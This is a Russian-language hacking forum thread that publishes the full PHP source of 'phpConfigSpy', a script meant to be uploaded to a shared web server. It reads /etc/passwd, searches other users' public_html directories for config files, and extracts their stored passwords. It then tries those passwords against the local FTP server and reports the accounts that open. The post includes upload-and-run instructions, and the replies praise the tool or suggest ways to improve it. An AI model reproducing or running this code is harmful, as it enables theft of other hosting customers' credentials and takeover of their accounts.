ConfigSpy

Discussion in 'PHP' started by p-range, 12 Jan 2007.

  1. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    phpConfigSpy v0.2

    phpConfigSpy v0.2

    [Описание]

    phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
    После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
    Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

    [Source]

    PHP:
    <?php
    /*
    phpConfigSpy v0.2
    coded by p-range #645552
    (c) http://p-range.info
    */
    echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
    (
    $sm ini_get('safe_mode') == 0) ? $sm 'off': die('<b>Error: safe_mode = on</b>');
    set_time_limit(0);
    ###################
    @$passwd fopen('/etc/passwd','r');
    if (!
    $passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
    $pub = array();
    $users = array();
    $conf = array();
    $i 0;
    while(!
    feof($passwd))
    {
        
    $str fgets($passwd);
            if (
    $i 35)
            {
                
    $pos strpos($str,':');
                
    $username substr($str,0,$pos);
                
    $dirz '/home/'.$username.'/public_html/';
                if ((
    $username != ''))
                {
                    if (
    is_readable($dirz))
                    {
                        
    array_push($users,$username);
                        
    array_push($pub,$dirz);
                    }
                }
              }
        
    $i++;
    }
    ###################
    echo '<br><br><textarea cols="100" rows="20">';
    echo 
    "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
    echo 
    "[+] Founded ".sizeof($pub)." readable public_html directories\n";
    echo 
    "[~] Searching for passwords in config files...\n\n";
    foreach (
    $users as $user)
    {
        
    $path "/home/$user/public_html/";
        
    read_dir($path,$user);
    }
    echo 
    "\n[+] Done\n";
    function 
    read_dir($path,$username)
    {
        if (
    $handle opendir($path))
        {
            while (
    false !== ($file readdir($handle)))
            {
                
    $fpath "$path$file";
                if ((
    $file != '.') and ($file != '..'))
                {
                    if (
    is_readable($fpath))
                    {
                        
    $dr $fpath."/";
                        if (
    is_dir($dr))
                        {
                            
    read_dir($dr,$username);
                        }
                        else
                        {
                             if (
                                 (
    $file=='config.php')
                             or (
    $file=='config.inc.php')
                             or (
    $file=='conf.php')
                             or (
    $file=='settings.php')
                             or (
    $file=='setup.php')
                             or (
    $file=='dbconf.php')
                             or (
    $file=='dbconfig.php')
                             or (
    $file=='db.inc.php')
                             or (
    $file=='dbconnect.php')
                             or (
    $file=='connect.php')
                             or (
    $file=='index.php')
                             or (
    $file=='common.php')
                             or (
    $file=='config_global.php')
                             or (
    $file=='db.php')
                             or (
    $file=='connect.inc.php')
                             or (
    $file=='dbconnect.inc.php'))
                            {
                                
    $pass get_pass($fpath);
                                if (
    $pass != '')
                                {
                                    echo 
    "[+] $fpath\n$pass\n";
                                    
    ftp_check($username,$pass);
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    function 
    get_pass($link)
    {
        @
    $config fopen($link,'r');
        while(!
    feof($config))
        {
            
    $line fgets($config);
            if (
    strstr($line,'pass')
            or 
    strstr($line,'pwd')
            or 
    strstr($line,'db_pass')
            or 
    strstr($line,'dbpass')
            or 
    strstr($line,'passwd'))
            {
                if (
    strrpos($line,'"'))
                {
                    
    preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
                    
    $pass str_replace("]=\"","",$pass);
                }
                
                else
                    
    preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
                    
    $pass str_replace("]='","",$pass);
                return 
    $pass[2];
            }
        }
    }
    function 
    ftp_check($login,$pass)
    {
        @
    $ftp ftp_connect('127.0.0.1');
        if (
    $ftp)
        {
            @
    $res ftp_login($ftp,$login,$pass);
            if (
    $res)
            {
                echo 
    '[FTP] '.$login.':'.$pass."  Success !\n";
            }
            else 
    ftp_quit($ftp);
        }
    }
    echo 
    '</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>';
    ?>
    [Установка]

    phpConfigSpy работает только при SAFE_MODE = OFF.
    Для установки просто отредактируйте 24 строку скрипта:
    и 43 стоку:
    на соответствующий путь до веб-директории пользователей.
    Затем заливайте на сервер и запускайте через браузер.

    [Что нового]
    В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.

    Последнюю версию скрипта можно скачать здесь.
    Coded by p-range & $re@m3r
     
    #1 p-range, 12 Jan 2007
    Last edited: 19 May 2007
    9 people like this.
  2. Robin_Hood

    Robin_Hood Elder - Старейшина

    Joined:
    30 Oct 2006
    Messages:
    144
    Likes Received:
    155
    Reputations:
    47
    супер весч
     
  3. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Серьезное обновление скрипта. Подробнее в первом посте.
     
    1 person likes this.
  4. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    PHP:
    <?php
    ...
    if (
        (
    $file=='config.php')
    or (
    $file=='config.inc.php')
    or (
    $file=='conf.php')
    or (
    $file=='settings.php')
    or (
    $file=='setup.php')
    or (
    $file=='dbconf.php')
    or (
    $file=='dbconfig.php')
    or (
    $file=='db.inc.php')
    or (
    $file=='dbconnect.php')
    or (
    $file=='connect.php')
    or (
    $file=='index.php')
    or (
    $file=='common.php')
    or (
    $file=='config_global.php')
    or (
    $file=='db.php')
    or (
    $file=='connect.inc.php')
    or (
    $file=='dbconnect.inc.php')) 
    минимум ЭТО можно было реализовать в виде массива из словарика file('list.txt') (а не дописывать каждую строку вручную), максимум - просканить все доступные диры на наличие файлов напободии *conf* *inc* *data* etc, вывести возможные варианты, а дальше пусть юзверь сам ставит галки, какие файлы чекать на пассы.

    зы. thread за 2007 год )) вот пдф журнала икс за февраль 2009 просматривал, там увидел :p
     
    _________________________
  5. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    зачетый скрипт...